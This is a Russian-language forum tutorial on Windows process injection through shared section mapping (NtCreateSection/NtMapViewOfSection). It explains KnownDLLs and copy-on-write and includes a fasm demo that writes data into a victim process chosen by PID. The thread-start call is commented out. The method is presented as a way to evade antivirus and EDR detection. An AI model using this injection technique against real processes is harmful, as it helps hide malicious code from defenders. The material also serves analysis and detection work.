Статья Внедрение кода через проекцию NtMapViewOfSection

За всё время существования Windows злоумышленники изобретали различные методы внедрения своего кода в сторонние процессы, но в конечном итоге все они сводились к явному выделению памяти функцией VirtualAllocEx(), с последующей записью в неё шелла WriteProcessMemory(), и передачей управления через CreateRemoteThread(). Как результат, на свет появилась устойчивая сигнатура, при помощи которой антивирусы с лёгкостью раскрывают план зловредов, отсекая любые их действия ещё на взлёте.

В данной статье мы рассмотрим более продвинутый подход к инжекту - в его основе лежит вполне легальный механизм проецирования секций памяти "Mapping", который повсеместно использует сама ОС в целях экономии системных ресурсов, а потому аверы относятся к нему немного лояльней. Однако нужно отметить, что в современных реалиях бесполезно надевать на вредоносов "шапку из фольги", т.к. с приходом таких защитных решений как EDR антивирусы вышли на абсолютно новый уровень и сигнатурный поиск отошёл уже на второй план, уступив место интеллектуальному анализу действий каждой строчки программы.

Оглавление:
1. Механизм отображения памяти в Win​
2. Практическая часть - инжект через маппинг​
3. Выводы​



1. Механизм отображения памяти в Win

Маппинг представляет собой вариант общего доступа для межпроцессного взаимодействия IPC. Впервые был введён ещё на Win95, а потому смахнём с него пыль, чтобы заглянуть под кат этого системного механизма. Отметим, что примитивный шарринг был и раньше без учёта особенностей современных мер безопасности - в то время некоторые секции были доступны всем желающим, и если в их число попадал недоброжелатель, он мог модифицировать общую память, что отражалось на всех участниках этого шабаша. Лавочку прикрыли только в Win2k.

Сейчас это довольно распространённый механизм, который использует даже ядро ОС для проецирования своих данных в пространство пользователя, чтобы сократить кол-во переходов из юзера в кернел и обратно. В качестве примера можно привести связь подсистемы GUI с драйвером Win32k.sys (быстрый доступ к GDI/User объектам) через указатель "GdiSharedHandleTable" в PEB, или всегда проецируемую по одинаковому адресу 0x7FFE0000 во все юзер-процессы структуру KUSER_SHARED_DATA. Но в контексте данной статьи нас будет интересовать маппинг системных библиотек, что на шаг приблизит непосредственно к инжекту кода в юзер-процессы. Выглядит эта схема примерно так.

В момент загрузки Win, первым процессом является диспетчер сеанса smss.exe (Session Manager Subsystem, запускает winlogon и csrss.exe). Далее на каком-то этапе этот процесс создаёт системный объект секций "Section Object" для каждой критической DLL, включая Ntdll и прочие - полный их перечень можно найти в ветке реестра HKLM\System\CurrentControlSet\Control\SessionManager\KnownDLLs, или в каталоге диспетчера объектов через WinDbg или утилитой WinObj. Этот объект является единой эталонной копией системных DLL в памяти.

Код:
0: kd> !object \KnownDLLs

    Object      : fffff8a00563ad50  Type: (fffffa800c6f7f30) Directory
    ObjectHeader: fffff8a00563ad20 (new version)
    ObjectDir   : fffff8a0000045d0  Name: KnownDlls
    HandleCount : 58  PointerCount: 104

    Hash Address           Type          Name
    ---- ----------------  ----          ----
     00  fffff8a0057568c0  Section       kernel32.dll
     01  fffff8a00576bdd0  Section       WININET.dll
     02  fffff8a0056451a0  Section       WS2_32.dll
         fffff8a00576bcd0  Section       SHLWAPI.dll
         fffff8a0002b5bc0  Section       MSCTF.dll
     03  fffff8a0057845c0  Section       KERNELBASE.dll
     05  fffff8a005613560  SymbolicLink  KnownDllPath
     06  fffff8a00576d380  Section       USP10.dll
         fffff8a0057657d0  Section       user32.dll
         fffff8a0057976c0  Section       MSASN1.dll
     10  fffff8a00578a9f0  Section       api-ms-win-downlevel-ole32-l1-1-0.dll
         fffff8a00578dc30  Section       COMCTL32.dll
     11  fffff8a0057846c0  Section       CFGMGR32.dll
     12  fffff8a0057749f0  Section       IMM32.dll
     13  fffff8a005774930  Section       rpcrt4.dll
     14  fffff8a0057b3fc0  Section       ntdll.dll
     15  fffff8a005794730  Section       api-ms-win-downlevel-version-l1-1-0.dll
     18  fffff8a00560fde0  Section       COMDLG32.dll
     19  fffff8a005667d70  Section       IMAGEHLP.dll
     20  fffff8a00562ebb0  Section       SHELL32.dll
         fffff8a00578e900  Section       api-ms-win-downlevel-advapi32-l1-1-0.dll
         fffff8a005752080  Section       IERTUTIL.dll
     21  fffff8a005761220  Section       URLMON.dll
         fffff8a005749a40  Section       sechost.dll
     22  fffff8a005797590  Section       WINTRUST.dll
     24  fffff8a0002cb890  Section       NORMALIZ.dll
         fffff8a005794880  Section       api-ms-win-downlevel-normaliz-l1-1-0.dll
         fffff8a0057636b0  Section       LPK.dll
     25  fffff8a0056100c0  Section       difxapi.dll
     26  fffff8a005794640  Section       profapi.dll
         fffff8a005761cb0  Section       Setupapi.dll
     27  fffff8a00578fdc0  Section       USERENV.dll
         fffff8a00578de90  Section       CRYPT32.dll
     28  fffff8a0057b32f0  Section       api-ms-win-downlevel-shlwapi-l1-1-0.dll
         fffff8a0057932e0  Section       api-ms-win-downlevel-user32-l1-1-0.dll
         fffff8a005777dd0  Section       gdi32.dll
         fffff8a00578a6e0  Section       MSVCRT.dll
         fffff8a00578d4b0  Section       DEVOBJ.dll
     29  fffff8a005785c30  Section       advapi32.dll
     30  fffff8a005748800  Section       NSI.dll
         fffff8a0056a5d80  Section       PSAPI.DLL
     31  fffff8a005777ec0  Section       OLEAUT32.dll
         fffff8a005765710  Section       WLDAP32.dll
     34  fffff8a00575da40  Section       ole32.dll
     35  fffff8a0057758a0  Section       clbcatq.dll
0: kd>

Теперь, когда мы запускаем новый процесс (например calc.exe), загрузчик образов не читает Kernel32.dll или другую Known с диска. Вместо этого API диспетчера памяти MmInitializeProcessAddressSpace() указывает лоадеру, что нужно отобразить системную DLL в адресное пространство нового процесса, а тот использует уже существующий системный объект секции, просто вызывая функцию проецирования LdrpMapViewOfSection().

Эталонная копия набора системных DLL будет находиться в памяти на протяжении всего сеанса\сессии до сл.перезагрузки, а потому адреса этих KnownDLLs будут одинаковыми во-всех активных процессах и ASLR изменит их только после очередного ребута. Как результат, чтобы узнать базу например Kernel32.dll в удалённом процессе, достаточно вызвать GetModuleHandle() из своего - с вероятностью 99.9% базовые адреса библиотек будут совпадать.

Те, у кого установлен WinDBG, могут провести небольшой эксперимент.
Значит запускаем утилиту Gflags.exe из родительской папки отладчика C:\ProgramFiles\Debugging Tools for Windows (x64)\, и обозначив без полного пути только имя подопытного файла *.exe жмём TAB, после чего взводим галку "ShowLoaderSnaps" (отображать процесс загрузки). У меня это выглядит так:

gflags.webp

Теперь если открыть в отладчике указанный файл, то получим подробный лог действий загрузчика образов Win. Портянка получается довольно длинная, поэтому я оставил в ней только вызовы неэкспортируемых наружу функций проецирования LdrpMapViewOfSection(). Обратите внимание, что Ntdll.dll загружается раньше всех, т.к. именно в ней и находится сам загрузчик РЕ-файлов. В первом столбце лога указывается PID/TID процесса, а через собаку(@) время в микро/сек.

Код:
Microsoft (R) Windows Debugger Version 6.12.0002.633 AMD64
Copyright (c) Microsoft Corporation. All rights reserved.

CommandLine: D:\SectionMap.EXE
Executable search path is:
ModLoad: 00000000`00400000  00000000`00404000   image00000000`00400000
ModLoad: 00000000`77160000  00000000`772ff000   ntdll.dll

0a3c:0acc @ 12867227 - LdrLoadDll           - ENTER:  DLL name: kernel32.dll DLL path: NULL
0a3c:0acc @ 12867227 - LdrpMapViewOfSection - ENTER:  DLL name: C:\Windows\system32\kernel32.dll
0a3c:0acc @ 12867243 - LdrpMapViewOfSection - ENTER:  DLL name: C:\Windows\system32\KERNELBASE.dll
0a3c:0acc @ 12867477 - LdrpMapViewOfSection - ENTER:  DLL name: C:\Windows\system32\msvcrt.dll

0a3c:0acc @ 12867477 - LdrpMapViewOfSection - STATUS: 0x00000000

(a3c.acc): Break instruction exception - code 80000003 (first chance)

ntdll!LdrpDoDebuggerBreak+0x30:
00000000`77206bb0 cc              int     3

1.1. Механизм «Copy-On-Write»

Системные KnownDLLs проецируются из эталонной копии в каждый ЮМ процесс отдельно, и что примечательно - обязательно с доступом "Только на чтение". При попытки записи в область их памяти тут-же срабатывает сторожевой механизм системы "Copy-On-Write", который добавляет в таблицу VAD процесса новый фрейм физ.памяти ОЗУ, и копирует в него дубликат страницы DLL. При этом новому физ.фрейму назначается оригинальный вирт.адрес, в результате чего мы даже не замечаем подмены и продолжаем обращаться к библиотеке по прежнему адресу. Таким образом, можно сколь угодно менять содержимое системных DLL, но эти изменения не выйдут за рамки нашего процесса. Рисунок ниже демонстрирует данную технологию:

CoW.webp

Чтобы получить пруфы на эту теорию, можно написать небольшое приложение, которое через VirtualProtect() попытается открыть доступ на запись (пусть будет) в Kernel32.dll. Значит сначала запрашиваем базу GetModuleHandle(kernel32.dll), сразу проверяем атрибуты её страницы где должно быть ReadOnly, далее меняем атрибут на ReadWrite, и вновь чекаем флаги защиты памяти. Вот табличка и лог в WinDBG (т.к. это юзер-мода, можете использовать хоть x64Dbg).

Page_Protect.webp

Код:
0:000> bp @$exentry
0:000> g
Breakpoint 0 hit
00000000`00402000  4883ec08        sub     rsp,8

0:000> p
00000000`00402004  4883ec20        sub     rsp,20h
00000000`00402008  eb0e            jmp     image00402018
00000000`00402018  488d0debffffff  lea     rcx,[image0040200a]
00000000`0040201f  ff1573100000    call    kernel32!GetModuleHandleStub  <--- запрос базы DlL в памяти
00000000`00402025  4883c420        add     rsp,20h

   0:000> !address @rax
   Usage:          Image
   Base Address:   00000000`77050000        <---- свойства запрошенной страницы
   End Address:    00000000`77051000
   Region Size:    00001000
   Type:           01000000  MEM_IMAGE
   State:          00001000  MEM_COMMIT
   Protect:        00000002  PAGE_READONLY  <-------- в дефолте ReadOnly

00000000`0040202a  4883ec20        sub     rsp,20h
00000000`0040202e  4889c1          mov     rcx,rax
00000000`00402031  48c7c200100000  mov     rdx,1000h
00000000`00402038  49c7c004000000  mov     r8,4       <--------------------- см.таблицу выше
00000000`0040203f  49c7c130104000  mov     r9,offset image00401030
00000000`00402046  ff155c100000    call    kernel32!VirtualProtectStub  <--- меняем атрибуты на R/W!
00000000`0040204c  4883c420        add     rsp,20h

   0:000> !address 0x77050000
   Usage:          Image
   Base Address:   00000000`77050000        <-------- проверим результ
   End Address:    00000000`77051000
   Region Size:    00001000
   Type:           01000000  MEM_IMAGE
   State:          00001000  MEM_COMMIT
   Protect:        00000008  PAGE_WRITECOPY   <------ Упс, сработал механизм COW.


2. Практическая часть - инжект через маппинг

Данный метод незаслуженно остаётся в тени упомянутого выше. В его основе лежит NtMapViewOfSection() из либы Ntdll.dll, которая используется малварью для скрытой инъекции кода в обход EDR. Технику применяют сл.вредоносы - все они мапят свои либы с атрибутом SEC_IMAGE для загрузки пайлоада: FormBook (инфостилер), GuLoader, HijackLoader и Blister (лоадеры), LockPoS (банковский троян), группировки АРТ вроде Winnti, и многие другие.

В рамках легального программирования, NtMapViewOfSection() использует следующий паттерн:

1. Посредством EnumProcess() ищется процесс-жертва, после чего OpenProcess() открывает его, чтобы получить дескриптор.​
2. Создаётся дополнительная секция с помощью NtCreateSection().​
3. Она отображается дважды с помощью NtMapViewOfSection(): один раз в своём процессе с правами на запись, а второй раз - в целевом с правами на исполнение.​
4. Данные (например, шелл-код) записываются в представление своего процесса, и благодаря разделяемой памяти они становятся видны и в целевом процессе.​
5. Наконец создаём удалённый поток RtlCreateUserThread() в целевом процессе, и указываем ему путь к отображенному представлению.​

Обратите внимание, что сопоставляя проекцию MAP с правами RW локально и RX в целевом процессе, нам не нужно выделять память с атрибутом записи в код RWX, что может послужить раздражителем для некоторых антивирусов.

Вот демка на ассемблере fasm, которая проделывает указанные выше операции. При запуске запрашивает PID удалённого процесса-жертвы (см.диспетчер задач), пытается открыть его и если ок, то записывает данные в свою локальную секцию (здесь просто строка, можно заменить на шелл), которые на автомате проецируются сразу и в удалённый процесс. Так мы избавляемся от палённой пары VirtualAllocEx() + WriteProcessMemory().

C-подобный:
format  pe64 console
include 'win64ax.inc'
entry start
;//-------------
section '.data' data readable writeable
SEC_COMMIT      =    0x08000000
sectSize        dq   4096
sectHndl        dq   0
targetHndl      dq   0
threadHndl      dq   0

localAddress    dq   0
remoteAddress   dq   0
viewSize        dq   0
pid             dq   0

shell:          db   'This is an example of code injection '
                db   'into a remote process via section mapping.',0
shellSize       =    $-shell

dumpSize        dq   1024
buff            db   0

;//-------------
section '.text' code readable executable
start:  sub     rsp,8

;//---- Создаём общую секцию
        invoke  NtCreateSection,sectHndl,\
                        SECTION_MAP_READ + SECTION_MAP_WRITE + SECTION_MAP_EXECUTE,0,\
                        sectSize,PAGE_EXECUTE_READWRITE,SEC_COMMIT,0
        or      eax,eax
        jz      @f
       cinvoke  printf,<10,' NtCreateSection error: %x',0>,rax
        jmp     @exit

;//---- Отображаем её в своём адресном пространстве "Local" с правами ReadWrite
@@:     invoke  NtMapViewOfSection,[sectHndl],-1,\
                        localAddress,0,0,0,viewSize,2,0,PAGE_READWRITE
        or      eax,eax
        jz      @f
       cinvoke  printf,<10,' NtMapViewOfSection error: %x',0>,rax
        jmp     @exit

;//---- Запрашиваем у юзера PID жертвы и пытаемся её открыть
@@:    cinvoke  printf,<10,' Enter the remote process PID (dec): ',0>
        invoke  scanf,<'%d',0>,pid          ;//<----- Укажите PID удалённого процесса

        invoke  OpenProcess,PROCESS_CREATE_THREAD + PROCESS_VM_OPERATION + PROCESS_VM_WRITE + PROCESS_VM_READ,\
                        0,[pid]
        mov     [targetHndl],rax
        or      eax,eax
        jnz     @f
       cinvoke  printf,<10,' Open process error: %x',0>,rax
        jmp     @exit

;//---- Если ОК, отображаем секцию и в удалённый процесс "Remote" с правами уже Execute
@@:     invoke  NtMapViewOfSection,[sectHndl],[targetHndl],\
                        remoteAddress,0,0,0,viewSize,2,0,PAGE_EXECUTE_READ
        or      eax,eax
        jz      @f
       cinvoke  printf,<10,' NtCalc_Map error: %x',0>,rax
        jmp     @exit

;//---- Покажем юзеру базу секций
@@:    cinvoke  printf,<10,' Local  section addr: %p',\
                        10,' Remote section addr: %p',10,\
                        10,' Write data in local section...',0>,[localAddress],[remoteAddress]

;//---- Копируем данные в свою лок.секцию, и они пропамятся у жертвы
        mov     esi,shell
        mov     rdi,[localAddress]
        mov     ecx,shellSize
        rep     movsb

;//---- Выведем на консоль содержимое секции для проверки
        invoke  CryptBinaryToString,[localAddress],128,0x0B,buff,dumpSize
       cinvoke  printf,<10,10,'%s',0>,buff

;//---- Создаём удалённый поток для запуска шелл-кода (здесь просто строка),
;//---- и ждём окончания его работы. Шелл должен заканчиваться вызовом ExitThread(0)

;//        invoke  RtlCreateUserThread,[targetHndl],0,0,0,0,0,[remoteAddress],0,threadHndl,0
;//        invoke  WaitForSingleObject,[threadHndl], -1
;//        invoke  CloseHandle, [threadHndl]

@exit: cinvoke  _getch
       cinvoke  exit,0
;//-------------------
section '.idata' import data readable writeable
library  msvcrt,'msvcrt.dll',kernel32,'kernel32.dll',\
         ntdll,'ntdll.dll',crypt32,'crypt32.dll'
include 'api\kernel32.inc'
include 'api\msvcrt.inc'
include 'api\ntdll.inc'
include 'api\crypt32.inc'

Обратите внимание на вирт.адреса секций. Не смотря на то, что базы разные, по факту это один общий фрейм физической памяти ОЗУ. Как видим, данные благополучно промапились в удалённый процесс calc.exe по адресу 0x00100000, хотя записывал я их в 0x00090000.

Result.webp


3. Выводы

Если рассматривать легальную составляющую, то основным клиентом инжекта в сторонние процессы был и остаётся отладчик, который вынужден вставлять инструкцию останова int-3 для пошаговой трассировки кода. Однако на каком-то витке эволюции что-то пошло не так, и техника стала мощным оружием в руках вирмейкеров. Поэтому при анализе исполняемых файлов всегда нужно проверять импорт на наличие в нём героя данной статьи NtMapViewOfSection(), и если таковая API обнаружится, это должно настораживать. Прикладной софт может использовать её для патча какой-нибудь геймы, или установки обновлений в программу, ну и далее в том-же духе. В скрепке найдёте исполняемый файл для тестов, всем удачи, пока!
 

Вложения

Мы в соцсетях:

Взломай свой первый сервер и прокачай скилл — Начни игру на HackerLab

🚀 Первый раз на Codeby?
Гайд для новичков: что делать в первые 15 минут, ключевые разделы, правила
Начать здесь →
🧭 Навигатор · ИБ 2026
Не знаешь, какой трек твой?
5 направлений ИБ, реальные зарплаты и точка входа для каждого — в одном треде.
JuniorSenior+
100K → 600K+ ₽ /мес
Открыть навигатор →
🔴 Свежие CVE, 0-day и инциденты
То, о чём ChatGPT ещё не знает — обсуждаем в реальном времени
Threat Intel →
💼 Вакансии и заказы в ИБ
Pentest, SOC, DevSecOps, bug bounty — работа и проекты от проверенных компаний
Карьера в ИБ →

HackerLab